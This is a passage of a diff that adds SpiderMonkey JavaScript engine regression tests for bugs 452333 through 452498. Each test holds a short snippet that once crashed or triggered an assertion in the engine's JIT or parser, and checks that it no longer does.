+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452333;
+var summary = 'Do not crash with JIT: @ js_SkipWhiteSpace';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (typeof 3/0); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452336.js b/js/src/tests/non262/regress/regress-452336.js
new file mode 100644
index 0000000000..e42c5a209a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452336.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452336;
+var summary = 'Do not assert with JIT: (slot) < (uint32_t)(obj)->dslots[-1]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { [1].x++; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452346.js b/js/src/tests/non262/regress/regress-452346.js
new file mode 100644
index 0000000000..10f8e9f987
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452346.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452346;
+var summary = 'Do not crash: @ Balloc';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<2;++j) (0.1).toPrecision(30);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452491.js b/js/src/tests/non262/regress/regress-452491.js
new file mode 100644
index 0000000000..a02ed51b94
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452491.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452491;
+var summary = 'Do not crash with JIT: with new';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) (new (function(q) { return q; })).a;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452495.js b/js/src/tests/non262/regress/regress-452495.js
new file mode 100644
index 0000000000..ae07f37a14
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452495.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452495;
+var summary = 'Do not crash with JIT: @ TraceRecorder::getThis';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (var j = 0; j < 4; ++j) { try { new 1(this); } catch(e) { } }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-452498-006.js b/js/src/tests/non262/regress/regress-452498-006.js
new file mode 100644
index 0000000000..4f40d887fe
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-006.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #6 From Andreas Gal :gal
+
+ function foo() {
+ var x = 4;
+ var f = (function() { return x++; });
+ var g = (function() { return x++; });
+ return [f,g];
+ }
+
+ var bar = foo();
+
+ expect = '9';
+ actual = 0;
+
+ bar[0]();
+ bar[1]();
+
+ actual = String(expect);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-027.js b/js/src/tests/non262/regress/regress-452498-027.js
new file mode 100644
index 0000000000..e5e19d5ca0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-027.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '5';
+
+// ------- Comment #27 From Brendan Eich
+
+ function f(x){function g(y) { return x+y; } return g}
+ g = f(2);
+
+ actual = String(g(3));
+
+ reportCompare(expect, actual, summary);
+}
+
+
+
diff --git a/js/src/tests/non262/regress/regress-452498-030.js b/js/src/tests/non262/regress/regress-452498-030.js
new file mode 100644
index 0000000000..3ca998b4af
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-030.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #30 From Mike Shaver
+
+ function f() { var i = 0; var i = 5; }
+ f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-040.js b/js/src/tests/non262/regress/regress-452498-040.js
new file mode 100644
index 0000000000..e0d9827a1d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-040.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #40 From Jesse Ruderman
+
+ function m()
+ {
+ function a() { }
+ function b() { a(); }
+ this.c = function () { b(); }
+ }
+ (new m).c();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-050.js b/js/src/tests/non262/regress/regress-452498-050.js
new file mode 100644
index 0000000000..6989837f97
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-050.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #50 From Jason Orendorff
+
+// Do not crash
+
+// compiler bug when a block introduces no names
+ { let {}={}; }
+
+ try
+ {
+// compiler incorrectly emits GETLOCAL for first `x`,
+// triggering decompiler assertion
+ while (x.y) { let x; }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-051.js b/js/src/tests/non262/regress/regress-452498-051.js
new file mode 100644
index 0000000000..3c7fa532d4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-051.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #51 From Jason Orendorff
+
+// Assertion failure: UPVAR_FRAME_SKIP(uva->vector[i]) == 0
+// at ../jsopcode.cpp:2791
+//
+// when decompiling the eval code, which is:
+//
+// main:
+// 00000: 10 getupvar 0
+// 00003: 10 getprop "y"
+// 00006: 10 popv
+// 00007: 10 stop
+ try
+ {
+ function f() { var x; eval("x.y"); }
+ f();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-052-a.js b/js/src/tests/non262/regress/regress-452498-052-a.js
new file mode 100644
index 0000000000..fdba2e8335
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-052-a.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #52 From Jason Orendorff
+
+
+// Assertion failure: pn_arity == PN_FUNC || pn_arity == PN_NAME, at ../jsparse.h:444
+// Here the function node has been morphed into a JSOP_TRUE node, but we're in
+// FindFunArgs poking it anyway.
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+ timeout(3);
+ while(function(){});
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-053.js b/js/src/tests/non262/regress/regress-452498-053.js
new file mode 100644
index 0000000000..749e53e0cd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-053.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #53 From Jason Orendorff
+
+// Assertion failure: (slot) < (uint32_t)(obj)->dslots[-1]
+// at ../jsobj.cpp:5559
+// On the last line of BindLet, we have
+// JS_SetReservedSlot(cx, blockObj, index, PRIVATE_TO_JSVAL(pn));
+// but this uses reserved slots as though they were unlimited.
+// blockObj only has 2.
+ { let a=0, b=1, c=2; }
+
+// In RecycleTree at ../jsparse.cpp:315, we hit
+// MOZ_CRASH("RecycleUseDefKids");
+// pn->pn_type is TOK_UNARYOP
+// pn->pn_op is JSOP_XMLNAME
+// pn->pn_defn is 1
+// pn->pn_used is 1
+ try
+ {
+ true; 0;
+ }
+ catch(ex)
+ {
+ }
+// Calls LinkUseToDef with pn->pn_defn == 1.
+//
+// If you say "var x;" first, then run this case, it gets further,
+// crashing in NoteLValue like the first case in comment 52.
+//
+ try
+ {
+ for (var [x] in y) var x;
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: !pn2->pn_defn, at ../jsparse.h:461
+// Another case where some optimization is going on.
+ try
+ {
+ if (true && foo) ;
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: scope->object == ctor
+// in js_FastNewObject at ../jsbuiltins.cpp:237
+//
+// With the patch, we're new-ing a different function each time, and the
+// .prototype property is missing.
+//
+ for (var z = 0; z < 3; z++) { (new function(){}); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-058.js b/js/src/tests/non262/regress/regress-452498-058.js
new file mode 100644
index 0000000000..a1e7520271
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-058.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #58 From Gary Kwong [:nth10sd]
+
+ function foo(x) { var x = x }
+
+// Assertion failure: dn->kind() == ((data->op == JSOP_DEFCONST) ? JSDefinition::CONST : JSDefinition::VAR), at ../jsparse.cpp:2595
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-062.js b/js/src/tests/non262/regress/regress-452498-062.js
new file mode 100644
index 0000000000..95db7aa8dd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-062.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #62 From Gary Kwong [:nth10sd]
+
+ try
+ {
+ eval(
+ '(function(){' +
+ ' var x;' +
+ ' this.init_by_array = function()' +
+ ' x = 0;' +
+ '})();'
+ );
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: ATOM_IS_STRING(atom), at ../jsinterp.cpp:5686
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-063.js b/js/src/tests/non262/regress/regress-452498-063.js
new file mode 100644
index 0000000000..68a8f97a7a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-063.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #63 From Brendan Eich
+
+ function f(that) {
+ for (ix in this)
+ print(ix);
+ for (let ix in that)
+ ;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-071.js b/js/src/tests/non262/regress/regress-452498-071.js
new file mode 100644
index 0000000000..791c40317c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-071.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #71 From Jesse Ruderman
+
+ x; var x
+// Assertion failure: pn->pn_op == JSOP_NOP, at ../jsparse.cpp:1118
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-072.js b/js/src/tests/non262/regress/regress-452498-072.js
new file mode 100644
index 0000000000..93ecef16aa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-072.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #72 From Jesse Ruderman
+
+ v = function p() { delete p; };
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1711
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-073.js b/js/src/tests/non262/regress/regress-452498-073.js
new file mode 100644
index 0000000000..72475dc897
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-073.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #73 From Jesse Ruderman
+
+ try
+ {
+ eval('function() { var arguments }');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: (uintN)i < ss->top, at ../jsopcode.cpp:2801
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-074.js b/js/src/tests/non262/regress/regress-452498-074.js
new file mode 100644
index 0000000000..bb80553b09
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-074.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1';
+
+// ------- Comment #74 From Jesse Ruderman
+
+ const [d] = [1]; print(actual = d);
+
+ actual = String(actual);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-075.js b/js/src/tests/non262/regress/regress-452498-075.js
new file mode 100644
index 0000000000..97caea200e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-075.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #75 From Jesse Ruderman
+
+ (function p(){ p = 3; });
+ (function p(){ p = 3; return p; })()
+// Assertion failure: regs.sp == StackBase(fp), at ../jsinterp.cpp:2980
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-076.js b/js/src/tests/non262/regress/regress-452498-076.js
new file mode 100644
index 0000000000..e9d4f49023
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-076.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #76 From Jesse Ruderman
+
+ for (let d = 0; d < 4; ++d) { d; }
+// 1: ReferenceError: d is not defined
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-079.js b/js/src/tests/non262/regress/regress-452498-079.js
new file mode 100644
index 0000000000..4768b3d707
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-079.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #79 From Jason Orendorff
+
+ x; var x; function x() { return 0; }
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:635
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-082.js b/js/src/tests/non262/regress/regress-452498-082.js
new file mode 100644
index 0000000000..b8869cf547
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-082.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #82 From Gary Kwong [:nth10sd]
+
+// =====
+
+ (function(){function x(){} {let x = [] }});
+
+// =====
+
+ var f = new Function("new function x(){ return x |= function(){} } ([], function(){})");
+ "" + f;
+
+// =====
+
+ function g(code)
+ {
+ var f = new Function(code);
+ f();
+ }
+ g("for (var x = 0; x < 3; ++x)(new (function(){})());");
+
+// =====
+ try
+ {
+ eval(
+ 'for(let [\n' +
+ 'function x () { M:if([1,,]) }\n'
+ );
+ }
+ catch(ex)
+ {
+ }
+
+// =====
+
+ try
+ {
+ function foo(code)
+ {
+ var c;
+ eval("const c, x5 = c;");
+ }
+ foo();
+ }
+ catch(ex)
+ {
+ }
+
+// =====
+
+ var f = new Function("[] = [( '' )()];");
+ "" + f;
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-092.js b/js/src/tests/non262/regress/regress-452498-092.js
new file mode 100644
index 0000000000..5fe86a9b0f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-092.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #92 From Jesse Ruderman
+
+ expect = 'SyntaxError: redeclaration of formal parameter e';
+ try
+ {
+ eval('(function (e) { var e; const e = undefined; });');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+// Without patch: "SyntaxError: redeclaration of var e"
+// expected new behavior // With patch: "SyntaxError: redeclaration of formal parameter e:"
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-102.js b/js/src/tests/non262/regress/regress-452498-102.js
new file mode 100644
index 0000000000..05fa0bc148
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-102.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #102 From Gary Kwong [:nth10sd]
+
+// =====
+
+ (function(){function x(){} function x() { return y; }})();
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+
+// =====
+ function f() {
+ "" + (function(){
+ for( ; [function(){}] ; x = 0)
+ with({x: ""}) {
+ const x = []
+ }});
+ }
+ f();
+
+// Assertion failure: ss->top - saveTop <= 1U, at ../jsopcode.cpp:2156
+
+// =====
+
+ try
+ {
+ function f() {
+ var x;
+ eval("const x = [];");
+ }
+ f();
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: regs.sp == StackBase(fp), at ../jsinterp.cpp:2984
+
+// Assertion failure: cg->staticLevel >= level, at ../jsemit.cpp:2014
+// Crash [@ BindNameToSlot] in opt without -j
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
+
+
+
diff --git a/js/src/tests/non262/regress/regress-452498-104.js b/js/src/tests/non262/regress/regress-452498-104.js
new file mode 100644
index 0000000000..3d48b694de
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-104.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
